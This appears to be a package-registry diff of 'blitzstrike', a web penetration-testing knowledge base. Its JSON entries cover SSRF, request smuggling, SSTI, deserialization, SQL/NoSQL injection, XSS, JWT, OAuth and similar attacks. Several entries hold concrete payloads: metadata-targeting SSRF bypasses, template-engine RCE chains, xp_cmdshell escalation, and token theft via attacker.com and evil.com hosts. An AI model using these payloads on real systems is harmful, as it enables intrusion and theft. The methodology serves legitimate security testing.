blitzstrike 1.1.0 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -5,226 +5,1181 @@
5
5
  "id": "ssrf",
6
6
  "name": "Server-Side Request Forgery",
7
7
  "summary": "The server fetches an attacker-influenced URL, letting you reach internal-only services (metadata, DB, admin) from inside the network.",
8
- "objectives": ["Find any parameter/field the server uses to make an outbound request (URL, webhook, image proxy, file import).", "Confirm the server resolves the URL (DNS pingback / canary host).", "Reach internal services and read cloud metadata."],
9
- "how_to_test": ["Inject a canary URL (burpcollaborator / your server) and watch for a callback.", "Then target 169.254.169.254 (AWS), metadata.google.internal (GCP), 127.0.0.1, internal hostnames.", "Enumerate internal ports via scheme/response differences."],
10
- "techniques": ["Bypass IP filter: 127.1, 0, 0x7f000001, 2130706433, 017700000001, [::1], 127.0.0.1.nip.io, http://127.0.0.1:80@evil/.", "DNS rebinding: a name that resolves to allowed at check-time and internal at request-time (e.g. wp_safe_remote_*).", "Redirect bypass: allow-listed host that 302s to an internal address.", "Schemes: gopher://, dict://, file:// for protocol-level access."],
8
+ "objectives": [
9
+ "Find any parameter/field the server uses to make an outbound request (URL, webhook, image proxy, file import).",
10
+ "Confirm the server resolves the URL (DNS pingback / canary host).",
11
+ "Reach internal services and read cloud metadata."
12
+ ],
13
+ "how_to_test": [
14
+ "Inject a canary URL (burpcollaborator / your server) and watch for a callback.",
15
+ "Then target 169.254.169.254 (AWS), metadata.google.internal (GCP), 127.0.0.1, internal hostnames.",
16
+ "Enumerate internal ports via scheme/response differences."
17
+ ],
18
+ "techniques": [
19
+ "Bypass IP filter: 127.1, 0, 0x7f000001, 2130706433, 017700000001, [::1], 127.0.0.1.nip.io, http://127.0.0.1:80@evil/.",
20
+ "DNS rebinding: a name that resolves to allowed at check-time and internal at request-time (e.g. wp_safe_remote_*).",
21
+ "Redirect bypass: allow-listed host that 302s to an internal address.",
22
+ "Schemes: gopher://, dict://, file:// for protocol-level access."
23
+ ],
11
24
  "verify": "Unique marker host receives the callback (proof of SSRF); a benign non-fetching control returns nothing."
12
25
  },
13
26
  {
14
27
  "id": "request_smuggling",
15
28
  "name": "HTTP Request Smuggling",
16
29
  "summary": "Front-end and back-end disagree on where a request ends, letting you smuggle a second request that poisons the next user's request.",
17
- "objectives": ["Detect CL.TE / TE.CL / TE.TE desync between front and back.", "Smuggle a request that captures or poisons the next victim request."],
18
- "how_to_test": ["Send a request with conflicting Content-Length and Transfer-Encoding headers and observe a timeout/desync.", "Confirm the desync class, then smuggle a second request.", "Target: session hijack (smuggle a request that captures the next user's cookie), cache poisoning, WAF bypass."],
19
- "techniques": ["CL.TE: front uses Content-Length, back uses Transfer-Encoding: chunked.", "TE.CL: front uses Transfer-Encoding, back uses Content-Length.", "HTTP/2 downgrade smuggling when the front speaks H2 and the back HTTP/1.1.", "Response queue poisoning via a smuggled complete request."],
30
+ "objectives": [
31
+ "Detect CL.TE / TE.CL / TE.TE desync between front and back.",
32
+ "Smuggle a request that captures or poisons the next victim request."
33
+ ],
34
+ "how_to_test": [
35
+ "Send a request with conflicting Content-Length and Transfer-Encoding headers and observe a timeout/desync.",
36
+ "Confirm the desync class, then smuggle a second request.",
37
+ "Target: session hijack (smuggle a request that captures the next user's cookie), cache poisoning, WAF bypass."
38
+ ],
39
+ "techniques": [
40
+ "CL.TE: front uses Content-Length, back uses Transfer-Encoding: chunked.",
41
+ "TE.CL: front uses Transfer-Encoding, back uses Content-Length.",
42
+ "HTTP/2 downgrade smuggling when the front speaks H2 and the back HTTP/1.1.",
43
+ "Response queue poisoning via a smuggled complete request."
44
+ ],
20
45
  "verify": "A timing marker or a second request whose response lands on YOUR connection confirms the desync; send a control without the conflict and confirm no effect."
21
46
  },
22
47
  {
23
48
  "id": "cache_poisoning",
24
49
  "name": "Web Cache Poisoning",
25
50
  "summary": "Poison a shared cache by injecting a payload into an unkeyed header/param, so the cached response (with your payload) is served to every visitor.",
26
- "objectives": ["Find unkeyed inputs reflected in the response (X-Forwarded-Host, X-Original-URL, custom X-*).", "Confirm the cache serves the poisoned response to other requests."],
27
- "how_to_test": ["Send a request with a reflected unkeyed header carrying a marker.", "Re-request the same resource WITHOUT the header and confirm the marker persists (cache hit).", "Escalate: reflected XSS in a cached page = stored XSS for everyone."],
28
- "techniques": ["Unkeyed headers: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, X-Host, X-Forwarded-Port.", "Cache deception: a cache that keys on the URL but serves the authenticated response to /profile/foo.css.", "Vary header abuse to segment the cache."],
51
+ "objectives": [
52
+ "Find unkeyed inputs reflected in the response (X-Forwarded-Host, X-Original-URL, custom X-*).",
53
+ "Confirm the cache serves the poisoned response to other requests."
54
+ ],
55
+ "how_to_test": [
56
+ "Send a request with a reflected unkeyed header carrying a marker.",
57
+ "Re-request the same resource WITHOUT the header and confirm the marker persists (cache hit).",
58
+ "Escalate: reflected XSS in a cached page = stored XSS for everyone."
59
+ ],
60
+ "techniques": [
61
+ "Unkeyed headers: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, X-Host, X-Forwarded-Port.",
62
+ "Cache deception: a cache that keys on the URL but serves the authenticated response to /profile/foo.css.",
63
+ "Vary header abuse to segment the cache."
64
+ ],
29
65
  "verify": "Marker reflects on a second, clean request (proof of shared cache) - a control URL that is not cached returns no marker."
30
66
  },
31
67
  {
32
68
  "id": "race_condition",
33
69
  "name": "Race Condition / TOCTOU",
34
70
  "summary": "Two parallel requests interleave with a check-then-use or a shared resource, producing an inconsistent state (double spend, duplicate account, privilege flip).",
35
- "objectives": ["Find a state-changing action with a check-then-act gap.", "Fire parallel requests and detect the double effect."],
36
- "how_to_test": ["Identify spend/redeem/register/upload flows with a validation step.", "Send the request N times in parallel (single-packet via HTTP/2, or Burp turbo intruder).", "Compare the resulting state (balance, count, files)."],
37
- "techniques": ["TOCTOU: withdraw-twice, redeem-coupon-twice, register-same-email-twice.", "File-upload race: upload -> check -> replace between check and use.", "HTTP/2 single-packet attack to make requests truly simultaneous."],
71
+ "objectives": [
72
+ "Find a state-changing action with a check-then-act gap.",
73
+ "Fire parallel requests and detect the double effect."
74
+ ],
75
+ "how_to_test": [
76
+ "Identify spend/redeem/register/upload flows with a validation step.",
77
+ "Send the request N times in parallel (single-packet via HTTP/2, or Burp turbo intruder).",
78
+ "Compare the resulting state (balance, count, files)."
79
+ ],
80
+ "techniques": [
81
+ "TOCTOU: withdraw-twice, redeem-coupon-twice, register-same-email-twice.",
82
+ "File-upload race: upload -> check -> replace between check and use.",
83
+ "HTTP/2 single-packet attack to make requests truly simultaneous."
84
+ ],
38
85
  "verify": "The double effect is observed (balance decremented once for two redemptions); sequential control requests produce no double effect."
39
86
  },
40
87
  {
41
88
  "id": "ssti",
42
89
  "name": "Server-Side Template Injection",
43
90
  "summary": "User input is concatenated into a server-side template, letting you execute code in the templating engine.",
44
- "objectives": ["Detect the templating engine via probe payloads.", "Escalate from template evaluation to code execution."],
45
- "how_to_test": ["Probe with {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, ${{7*7}}.", "Identify the engine by the error/behavior of each.", "Build a RCE chain for that engine."],
46
- "techniques": ["Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or __mro__/__subclasses__.", "FreeMarker/Java: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}.", "Smarty: {system('id')}.", "Filter bypass: nested attributes, |attr, string concat, unicode escapes."],
91
+ "objectives": [
92
+ "Detect the templating engine via probe payloads.",
93
+ "Escalate from template evaluation to code execution."
94
+ ],
95
+ "how_to_test": [
96
+ "Probe with {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, ${{7*7}}.",
97
+ "Identify the engine by the error/behavior of each.",
98
+ "Build a RCE chain for that engine."
99
+ ],
100
+ "techniques": [
101
+ "Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or __mro__/__subclasses__.",
102
+ "FreeMarker/Java: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}.",
103
+ "Smarty: {system('id')}.",
104
+ "Filter bypass: nested attributes, |attr, string concat, unicode escapes."
105
+ ],
47
106
  "verify": "{{7*7}} evaluates to 49 (marker), and a literal control ({{'7*7'}}) stays literal; RCE chain runs a marker command via callback."
48
107
  },
49
108
  {
50
109
  "id": "deserialization",
51
110
  "name": "Insecure Deserialization",
52
111
  "summary": "Untrusted serialized data is deserialized into objects, allowing gadget chains to reach code execution.",
53
- "objectives": ["Spot serialized blobs in params/cookies (PHP O:, Java rO0AB/ACED, .NET, pickle).", "Build a gadget chain to RCE."],
54
- "how_to_test": ["Identify the serialization format from a cookie/param.", "Generate a payload with ysoserial (Java), PHPGGC (PHP), or a pickle/JSON gadget.", "Fire it and watch for a marker command via callback."],
55
- "techniques": ["Java: CommonsCollections/CommonsBeanutils/Spring gadget chains via ysoserial.", "PHP: PHPGGC chains (Monolog, Symfony, Laravel) + phar:// deserialization on file ops.", "Python: pickle + __reduce__; yaml.unsafe_load.", ".NET: ObjectDataProvider / Json.NET TypeNameHandling."],
112
+ "objectives": [
113
+ "Spot serialized blobs in params/cookies (PHP O:, Java rO0AB/ACED, .NET, pickle).",
114
+ "Build a gadget chain to RCE."
115
+ ],
116
+ "how_to_test": [
117
+ "Identify the serialization format from a cookie/param.",
118
+ "Generate a payload with ysoserial (Java), PHPGGC (PHP), or a pickle/JSON gadget.",
119
+ "Fire it and watch for a marker command via callback."
120
+ ],
121
+ "techniques": [
122
+ "Java: CommonsCollections/CommonsBeanutils/Spring gadget chains via ysoserial.",
123
+ "PHP: PHPGGC chains (Monolog, Symfony, Laravel) + phar:// deserialization on file ops.",
124
+ "Python: pickle + __reduce__; yaml.unsafe_load.",
125
+ ".NET: ObjectDataProvider / Json.NET TypeNameHandling."
126
+ ],
56
127
  "verify": "A marker command (touch /tmp/<marker> or a callback) actually fires; a malformed control blob is rejected without effect."
57
128
  },
58
129
  {
59
130
  "id": "prototype_pollution",
60
131
  "name": "Prototype Pollution",
61
132
  "summary": "Merging attacker-controlled keys into an object reaches Object.prototype, polluting every object and enabling XSS/RCE gadgets.",
62
- "objectives": ["Find a merge/extend/assign of request data into an object.", "Pollute __proto__/constructor.prototype and trigger a gadget."],
63
- "how_to_test": ["Test merge functions with __proto__ and constructor.prototype keys.", "Confirm pollution (a property appears on every object).", "Trigger a gadget (child_process options, template, status/body)."],
64
- "techniques": ["Client-side: location.hash / URLSearchParams merged without sanitizing __proto__ -> DOM XSS.", "Server-side (Node): Object.assign/_.merge/$.extend of req.body -> RCE via polluted child_process/express options.", "Gadgets: child_process.exec options, Handlebars/Jade options, express res.status override."],
133
+ "objectives": [
134
+ "Find a merge/extend/assign of request data into an object.",
135
+ "Pollute __proto__/constructor.prototype and trigger a gadget."
136
+ ],
137
+ "how_to_test": [
138
+ "Test merge functions with __proto__ and constructor.prototype keys.",
139
+ "Confirm pollution (a property appears on every object).",
140
+ "Trigger a gadget (child_process options, template, status/body)."
141
+ ],
142
+ "techniques": [
143
+ "Client-side: location.hash / URLSearchParams merged without sanitizing __proto__ -> DOM XSS.",
144
+ "Server-side (Node): Object.assign/_.merge/$.extend of req.body -> RCE via polluted child_process/express options.",
145
+ "Gadgets: child_process.exec options, Handlebars/Jade options, express res.status override."
146
+ ],
65
147
  "verify": "Pollution confirmed by reading a marker property on Object.prototype; a control merge of a safe key has no effect."
66
148
  },
67
149
  {
68
150
  "id": "mass_assignment",
69
151
  "name": "Mass Assignment",
70
152
  "summary": "The framework binds request params to model fields, letting you set privileged fields (role, isAdmin, balance) the UI never exposes.",
71
- "objectives": ["Find a create/update endpoint that mass-binds request fields.", "Inject a privileged field (role=admin, isAdmin=true, balance=9999)."],
72
- "how_to_test": ["Add isAdmin=true / role=admin / balance=... to a create/update request.", "Observe whether the field is persisted + honored.", "Also test nested objects + arrays (user.role=admin)."],
73
- "techniques": ["Laravel: guarded/$fillable gaps; Django: ModelForm fields; Rails: strong_parameters bypass via nested/array params.", "JSON duplicate key (role=user&role=admin) or array value (role[]=user&role[]=admin).", "Prototype-pollution-style: constructor.prototype in the body."],
153
+ "objectives": [
154
+ "Find a create/update endpoint that mass-binds request fields.",
155
+ "Inject a privileged field (role=admin, isAdmin=true, balance=9999)."
156
+ ],
157
+ "how_to_test": [
158
+ "Add isAdmin=true / role=admin / balance=... to a create/update request.",
159
+ "Observe whether the field is persisted + honored.",
160
+ "Also test nested objects + arrays (user.role=admin)."
161
+ ],
162
+ "techniques": [
163
+ "Laravel: guarded/$fillable gaps; Django: ModelForm fields; Rails: strong_parameters bypass via nested/array params.",
164
+ "JSON duplicate key (role=user&role=admin) or array value (role[]=user&role[]=admin).",
165
+ "Prototype-pollution-style: constructor.prototype in the body."
166
+ ],
74
167
  "verify": "The privileged field is actually persisted + honored (e.g. your account gains admin); a control request without the field leaves role unchanged."
75
168
  },
76
169
  {
77
170
  "id": "sql_injection",
78
171
  "name": "SQL Injection",
79
172
  "summary": "User input is interpolated into a SQL query, letting you read/modify/exfiltrate the database or reach the OS.",
80
- "objectives": ["Find an injectable parameter.", "Determine the DBMS + injection type (error/union/blind/time).", "Extract data or escalate."],
81
- "how_to_test": ["Probe with quote + comment markers, observe errors/differences.", "Determine column count (ORDER BY / UNION SELECT NULL,...).", "Use UNION, boolean-blind, time-blind, or error-based extraction; then escalate (file read/write, RCE via extensions)."],
82
- "techniques": ["MySQL: UNION SELECT, load_file(), INTO OUTFILE, SLEEP() time-blind.", "PostgreSQL: COPY ... TO, dblink, lo_import, RCE via extensions/languages.", "MSSQL: xp_cmdshell, OPENROWSET, stacked queries.", "WAF bypass: encoding, case, comments, chunking (see bypass_lookup waf).", "Second-order: stored value later used in a query without re-validating."],
173
+ "objectives": [
174
+ "Find an injectable parameter.",
175
+ "Determine the DBMS + injection type (error/union/blind/time).",
176
+ "Extract data or escalate."
177
+ ],
178
+ "how_to_test": [
179
+ "Probe with quote + comment markers, observe errors/differences.",
180
+ "Determine column count (ORDER BY / UNION SELECT NULL,...).",
181
+ "Use UNION, boolean-blind, time-blind, or error-based extraction; then escalate (file read/write, RCE via extensions)."
182
+ ],
183
+ "techniques": [
184
+ "MySQL: UNION SELECT, load_file(), INTO OUTFILE, SLEEP() time-blind.",
185
+ "PostgreSQL: COPY ... TO, dblink, lo_import, RCE via extensions/languages.",
186
+ "MSSQL: xp_cmdshell, OPENROWSET, stacked queries.",
187
+ "WAF bypass: encoding, case, comments, chunking (see bypass_lookup waf).",
188
+ "Second-order: stored value later used in a query without re-validating."
189
+ ],
83
190
  "verify": "A boolean/UNION marker returns distinct data (1 vs 0, or a known string); a parameterized control query is inert."
84
191
  },
85
192
  {
86
193
  "id": "nosql_injection",
87
194
  "name": "NoSQL Injection",
88
195
  "summary": "User input is passed into a NoSQL query (MongoDB, etc.) without sanitizing operators, bypassing auth or filters.",
89
- "objectives": ["Find a NoSQL query built from user input.", "Inject operators ($ne, $gt, $regex, $where) to bypass auth or extract data."],
90
- "how_to_test": ["Send JSON operators in params (username=$ne, password=$ne).", "Test $regex for blind extraction, $where for JS eval.", "Try URL-encoded operator injection in GET params."],
91
- "techniques": ["Auth bypass: $ne / $gt on both fields.", "Blind: $regex with ^a to enumerate values.", "$where: sleep(5000) for time-based, or arbitrary JS."],
196
+ "objectives": [
197
+ "Find a NoSQL query built from user input.",
198
+ "Inject operators ($ne, $gt, $regex, $where) to bypass auth or extract data."
199
+ ],
200
+ "how_to_test": [
201
+ "Send JSON operators in params (username=$ne, password=$ne).",
202
+ "Test $regex for blind extraction, $where for JS eval.",
203
+ "Try URL-encoded operator injection in GET params."
204
+ ],
205
+ "techniques": [
206
+ "Auth bypass: $ne / $gt on both fields.",
207
+ "Blind: $regex with ^a to enumerate values.",
208
+ "$where: sleep(5000) for time-based, or arbitrary JS."
209
+ ],
92
210
  "verify": "The operator injection returns data it should not (auth bypass / a different record); a control with a literal value returns the normal response."
93
211
  },
94
212
  {
95
213
  "id": "xss",
96
214
  "name": "Cross-Site Scripting",
97
215
  "summary": "Attacker-controlled markup/script is rendered in another user's browser, stealing sessions or hijacking actions.",
98
- "objectives": ["Find a reflection/storage/DOM sink.", "Confirm script execution (not just reflection).", "Escalate (session theft, account takeover)."],
99
- "how_to_test": ["Inject a marker payload into reflected/stored/DOM sinks.", "Check WHERE it lands (HTML context, attribute, JS, URL) and craft a context-appropriate payload.", "Confirm execution via a callback (not just a reflected string)."],
100
- "techniques": ["Context-aware payloads: <script>, <img onerror>, '><svg onload>, javascript: URL, attribute breakout.", "DOM XSS: unsafe sinks (innerHTML, document.write, eval, location) + sources (location, hash, URLSearchParams).", "Stored -> admin bot for account takeover (ap-stored-xss-admin-bot skill).", "CSP/WAF bypass via bypass_lookup."],
216
+ "objectives": [
217
+ "Find a reflection/storage/DOM sink.",
218
+ "Confirm script execution (not just reflection).",
219
+ "Escalate (session theft, account takeover)."
220
+ ],
221
+ "how_to_test": [
222
+ "Inject a marker payload into reflected/stored/DOM sinks.",
223
+ "Check WHERE it lands (HTML context, attribute, JS, URL) and craft a context-appropriate payload.",
224
+ "Confirm execution via a callback (not just a reflected string)."
225
+ ],
226
+ "techniques": [
227
+ "Context-aware payloads: <script>, <img onerror>, '><svg onload>, javascript: URL, attribute breakout.",
228
+ "DOM XSS: unsafe sinks (innerHTML, document.write, eval, location) + sources (location, hash, URLSearchParams).",
229
+ "Stored -> admin bot for account takeover (ap-stored-xss-admin-bot skill).",
230
+ "CSP/WAF bypass via bypass_lookup."
231
+ ],
101
232
  "verify": "A unique callback (image/fetch to your server) actually fires - proof of execution; a plain reflected string that never executes is NOT a finding."
102
233
  },
103
234
  {
104
235
  "id": "cors",
105
236
  "name": "Cross-Origin Resource Sharing Misconfiguration",
106
237
  "summary": "A misconfigured CORS policy lets a malicious site read a victim's cross-origin responses.",
107
- "objectives": ["Find an endpoint reflecting Origin into Access-Control-Allow-Origin with credentials.", "Confirm a cross-origin read is possible."],
108
- "how_to_test": ["Send Origin: attacker.com and read Access-Control-Allow-Origin + Access-Control-Allow-Credentials.", "Test null origin, trusted-subdomain, and missing Vary: Origin."],
109
- "techniques": ["Origin reflection + allow-credentials:true -> full cross-origin read.", "null origin (sandboxed iframe).", "Trusted-subdomain takeover -> CORS from that subdomain.", "ACAC + wildcard; missing Vary: Origin (cache leaks a cross-origin response)."],
238
+ "objectives": [
239
+ "Find an endpoint reflecting Origin into Access-Control-Allow-Origin with credentials.",
240
+ "Confirm a cross-origin read is possible."
241
+ ],
242
+ "how_to_test": [
243
+ "Send Origin: attacker.com and read Access-Control-Allow-Origin + Access-Control-Allow-Credentials.",
244
+ "Test null origin, trusted-subdomain, and missing Vary: Origin."
245
+ ],
246
+ "techniques": [
247
+ "Origin reflection + allow-credentials:true -> full cross-origin read.",
248
+ "null origin (sandboxed iframe).",
249
+ "Trusted-subdomain takeover -> CORS from that subdomain.",
250
+ "ACAC + wildcard; missing Vary: Origin (cache leaks a cross-origin response)."
251
+ ],
110
252
  "verify": "A cross-origin page actually reads the victim response (demonstrable), not just a reflected header; a control origin is not reflected."
111
253
  },
112
254
  {
113
255
  "id": "csrf",
114
256
  "name": "Cross-Site Request Forgery",
115
257
  "summary": "A victim's authenticated browser is tricked into making a state-changing request the attacker crafts.",
116
- "objectives": ["Find a state-changing action without a CSRF token (or with a bypassable one).", "Demonstrate a cross-site request performs it."],
117
- "how_to_test": ["Test the action with and without the CSRF token.", "Bypass techniques: token not validated, token predictable, token leaked, JSON CSRF, SameSite=Lax on non-idempotent methods."],
118
- "techniques": ["Remove the token; use a different session's token; predict the token.", "JSON CSRF via text/plain with a form.", "Empty-HMAC / null-token bypass (wp-empty-hmac skill).", "SameSite=Lax bypass via a GET-like state change or a popup window."],
258
+ "objectives": [
259
+ "Find a state-changing action without a CSRF token (or with a bypassable one).",
260
+ "Demonstrate a cross-site request performs it."
261
+ ],
262
+ "how_to_test": [
263
+ "Test the action with and without the CSRF token.",
264
+ "Bypass techniques: token not validated, token predictable, token leaked, JSON CSRF, SameSite=Lax on non-idempotent methods."
265
+ ],
266
+ "techniques": [
267
+ "Remove the token; use a different session's token; predict the token.",
268
+ "JSON CSRF via text/plain with a form.",
269
+ "Empty-HMAC / null-token bypass (wp-empty-hmac skill).",
270
+ "SameSite=Lax bypass via a GET-like state change or a popup window."
271
+ ],
119
272
  "verify": "The cross-site request actually performs the action (state changes) without the token; with the token validated, it is blocked."
120
273
  },
121
274
  {
122
275
  "id": "jwt",
123
276
  "name": "JSON Web Token Attacks",
124
277
  "summary": "Weak JWT signing/validation lets you forge tokens and impersonate users.",
125
- "objectives": ["Find how the JWT is validated.", "Forge a token with a chosen claim (sub/role/admin)."],
126
- "how_to_test": ["Decode the token; test alg:none.", "Test HS256/RS256 key confusion (sign with the public key as HMAC secret).", "Test kid injection (path traversal/SQLi in kid), jku/x5u to your key."],
127
- "techniques": ["alg:none: strip the signature.", "RS256->HS256: sign with the public key.", "kid: ../../dev/null or a SQLi payload to pick a key.", "jku/x5u: point to an attacker-hosted JWK.", "Weak secret -> crack with jwt_tool/hashcat."],
278
+ "objectives": [
279
+ "Find how the JWT is validated.",
280
+ "Forge a token with a chosen claim (sub/role/admin)."
281
+ ],
282
+ "how_to_test": [
283
+ "Decode the token; test alg:none.",
284
+ "Test HS256/RS256 key confusion (sign with the public key as HMAC secret).",
285
+ "Test kid injection (path traversal/SQLi in kid), jku/x5u to your key."
286
+ ],
287
+ "techniques": [
288
+ "alg:none: strip the signature.",
289
+ "RS256->HS256: sign with the public key.",
290
+ "kid: ../../dev/null or a SQLi payload to pick a key.",
291
+ "jku/x5u: point to an attacker-hosted JWK.",
292
+ "Weak secret -> crack with jwt_tool/hashcat."
293
+ ],
128
294
  "verify": "A forged token is accepted (server returns authorized data for the impersonated user); an unmodified/invalid token is rejected."
129
295
  },
130
296
  {
131
297
  "id": "oauth",
132
298
  "name": "OAuth / SSO Weaknesses",
133
299
  "summary": "Flaws in the OAuth/SSO flow let you steal authorization codes/tokens and take over accounts.",
134
- "objectives": ["Find a redirect_uri/state/client validation flaw.", "Steal the code or token."],
135
- "how_to_test": ["Tamper redirect_uri (path/param variation, open redirect).", "Drop or reuse state; check PKCE enforcement.", "Test code/token reuse, client-secret leakage, response_type tampering."],
136
- "techniques": ["redirect_uri confusion: open redirect, path traversal, missing state.", "state leak -> CSRF on the callback (bind victim's account to attacker's).", "PKCE downgrade; code reuse; token theft via redirect.", "Mix-up: send a victim's code to a different IdP."],
300
+ "objectives": [
301
+ "Find a redirect_uri/state/client validation flaw.",
302
+ "Steal the code or token."
303
+ ],
304
+ "how_to_test": [
305
+ "Tamper redirect_uri (path/param variation, open redirect).",
306
+ "Drop or reuse state; check PKCE enforcement.",
307
+ "Test code/token reuse, client-secret leakage, response_type tampering."
308
+ ],
309
+ "techniques": [
310
+ "redirect_uri confusion: open redirect, path traversal, missing state.",
311
+ "state leak -> CSRF on the callback (bind victim's account to attacker's).",
312
+ "PKCE downgrade; code reuse; token theft via redirect.",
313
+ "Mix-up: send a victim's code to a different IdP."
314
+ ],
137
315
  "verify": "An authorization code/token actually lands at an attacker-controlled endpoint; a control flow with correct redirect_uri is not redirected."
138
316
  },
139
317
  {
140
318
  "id": "host_header",
141
319
  "name": "Host Header Injection",
142
320
  "summary": "The app trusts the Host header to build absolute URLs/routing, enabling password-reset poisoning, cache poisoning, or routing bypass.",
143
- "objectives": ["Find a place the Host header is reflected into a generated URL/route.", "Exploit it (reset-link poisoning, cache poisoning, routing)."],
144
- "how_to_test": ["Send Host: attacker.com and watch where it is reflected (reset link, redirects, cached content).", "Test X-Forwarded-Host / X-Host / X-Original-URL variants.", "For password reset: trigger a reset and check the emailed link's host."],
145
- "techniques": ["Password-reset poisoning: Host: attacker.com -> the reset link points to your host -> steal the token.", "Cache poisoning via Host (see cache_poisoning).", "Routing bypass via Host / X-Forwarded-Host to reach internal vhosts.", "Duplicate/invalid Host to desync proxies."],
321
+ "objectives": [
322
+ "Find a place the Host header is reflected into a generated URL/route.",
323
+ "Exploit it (reset-link poisoning, cache poisoning, routing)."
324
+ ],
325
+ "how_to_test": [
326
+ "Send Host: attacker.com and watch where it is reflected (reset link, redirects, cached content).",
327
+ "Test X-Forwarded-Host / X-Host / X-Original-URL variants.",
328
+ "For password reset: trigger a reset and check the emailed link's host."
329
+ ],
330
+ "techniques": [
331
+ "Password-reset poisoning: Host: attacker.com -> the reset link points to your host -> steal the token.",
332
+ "Cache poisoning via Host (see cache_poisoning).",
333
+ "Routing bypass via Host / X-Forwarded-Host to reach internal vhosts.",
334
+ "Duplicate/invalid Host to desync proxies."
335
+ ],
146
336
  "verify": "The reset link (or reflected URL) actually carries your Host value - proof of reflection; a control reset without a tampered Host uses the real host."
147
337
  },
148
338
  {
149
339
  "id": "open_redirect",
150
340
  "name": "Open Redirect",
151
341
  "summary": "An attacker-controlled redirect target is honored, letting you phish or (chained) steal OAuth tokens.",
152
- "objectives": ["Find a redirect param that accepts an external URL.", "Escalate (OAuth token theft, credential phishing)."],
153
- "how_to_test": ["Test ?url=/next -> ?url=//evil.com, https://trusted.com@evil.com, /%2f%2fevil.com, backslash.", "Check whether the redirect is used in an OAuth flow (token theft)."],
154
- "techniques": ["//evil.com (protocol-relative), https://trusted.com@evil.com (userinfo), backslash, double-encode.", "javascript: and data: (rare).", "Chain: open redirect in redirect_uri -> steal OAuth authorization code."],
342
+ "objectives": [
343
+ "Find a redirect param that accepts an external URL.",
344
+ "Escalate (OAuth token theft, credential phishing)."
345
+ ],
346
+ "how_to_test": [
347
+ "Test ?url=/next -> ?url=//evil.com, https://trusted.com@evil.com, /%2f%2fevil.com, backslash.",
348
+ "Check whether the redirect is used in an OAuth flow (token theft)."
349
+ ],
350
+ "techniques": [
351
+ "//evil.com (protocol-relative), https://trusted.com@evil.com (userinfo), backslash, double-encode.",
352
+ "javascript: and data: (rare).",
353
+ "Chain: open redirect in redirect_uri -> steal OAuth authorization code."
354
+ ],
155
355
  "verify": "The response actually redirects to your marker host; a control redirect to a whitelisted relative path stays on-site."
156
356
  },
157
357
  {
158
358
  "id": "subdomain_takeover",
159
359
  "name": "Subdomain Takeover",
160
360
  "summary": "A subdomain's DNS points to a service that no longer exists, letting you claim it and serve content/steal cookies/CSRF from the parent.",
161
- "objectives": ["Enumerate subdomains (crt.sh, subfinder) + find dangling CNAMEs.", "Claim the dangling service."],
162
- "how_to_test": ["Resolve each subdomain; find CNAMEs to unclaimed services (GitHub Pages, S3, Heroku, Azure...).", "Check the service returns a not-claimed signature.", "Claim it and prove control."],
163
- "techniques": ["Dangling CNAME to github.io, s3.amazonaws.com, herokuapp, azure, shopify, etc.", "DNS enumeration via crt.sh / Certificate Transparency.", "Naked-domain vs wildcard resolution."],
361
+ "objectives": [
362
+ "Enumerate subdomains (crt.sh, subfinder) + find dangling CNAMEs.",
363
+ "Claim the dangling service."
364
+ ],
365
+ "how_to_test": [
366
+ "Resolve each subdomain; find CNAMEs to unclaimed services (GitHub Pages, S3, Heroku, Azure...).",
367
+ "Check the service returns a not-claimed signature.",
368
+ "Claim it and prove control."
369
+ ],
370
+ "techniques": [
371
+ "Dangling CNAME to github.io, s3.amazonaws.com, herokuapp, azure, shopify, etc.",
372
+ "DNS enumeration via crt.sh / Certificate Transparency.",
373
+ "Naked-domain vs wildcard resolution."
374
+ ],
164
375
  "verify": "The service accepts the claim and serves YOUR content on that subdomain; a control subdomain resolves to a live, owned service."
165
376
  },
166
377
  {
167
378
  "id": "idor",
168
379
  "name": "Insecure Direct Object Reference (IDOR / BOLA)",
169
380
  "summary": "An object reference (id, uuid, filename) is used without an authorization check, letting you read/act on other users' objects.",
170
- "objectives": ["Find object references (id, uuid, username, filename).", "Access another user's object across roles."],
171
- "how_to_test": ["Enumerate /users/me -> /users/other-guid; ?id=1 -> ?id=2.", "Test UUID vs sequential id; parameterized refs; API version confusion.", "Verify by reading another user's data, never just 200 OK."],
172
- "techniques": ["Change the object id/uuid/filename; mass-assign on PATCH to bind another object.", "API version: /v2 requires auth, /v1 does not.", "Nested refs: /users/{id}/files/{fileId}.", "UUIDv1 (guessable timestamp-based) vs UUIDv4."],
381
+ "objectives": [
382
+ "Find object references (id, uuid, username, filename).",
383
+ "Access another user's object across roles."
384
+ ],
385
+ "how_to_test": [
386
+ "Enumerate /users/me -> /users/other-guid; ?id=1 -> ?id=2.",
387
+ "Test UUID vs sequential id; parameterized refs; API version confusion.",
388
+ "Verify by reading another user's data, never just 200 OK."
389
+ ],
390
+ "techniques": [
391
+ "Change the object id/uuid/filename; mass-assign on PATCH to bind another object.",
392
+ "API version: /v2 requires auth, /v1 does not.",
393
+ "Nested refs: /users/{id}/files/{fileId}.",
394
+ "UUIDv1 (guessable timestamp-based) vs UUIDv4."
395
+ ],
173
396
  "verify": "You actually read/act on ANOTHER user's object (different data returned) - proof of broken authorization; your own object is the control."
174
397
  },
175
398
  {
176
399
  "id": "graphql",
177
400
  "name": "GraphQL",
178
401
  "summary": "GraphQL exposes a flexible query interface; introspection, batching, and missing field-level authz become bugs.",
179
- "objectives": ["Dump the schema (introspection).", "Find excessive data exposure, field/authorization bypass, or DoS."],
180
- "how_to_test": ["Introspection query to dump the full schema.", "Query hidden/privileged fields the UI never exposes.", "Batching + aliases to bypass rate limits and force deep recursion."],
181
- "techniques": ["Introspection: __schema query to list types and fields.", "Aliases: many aliased fields to bypass a per-query limit.", "Batching: multiple operations in one request to test IDOR across objects.", "Depth/recursion DoS; field-level authz bypass (query admin-only fields)."],
402
+ "objectives": [
403
+ "Dump the schema (introspection).",
404
+ "Find excessive data exposure, field/authorization bypass, or DoS."
405
+ ],
406
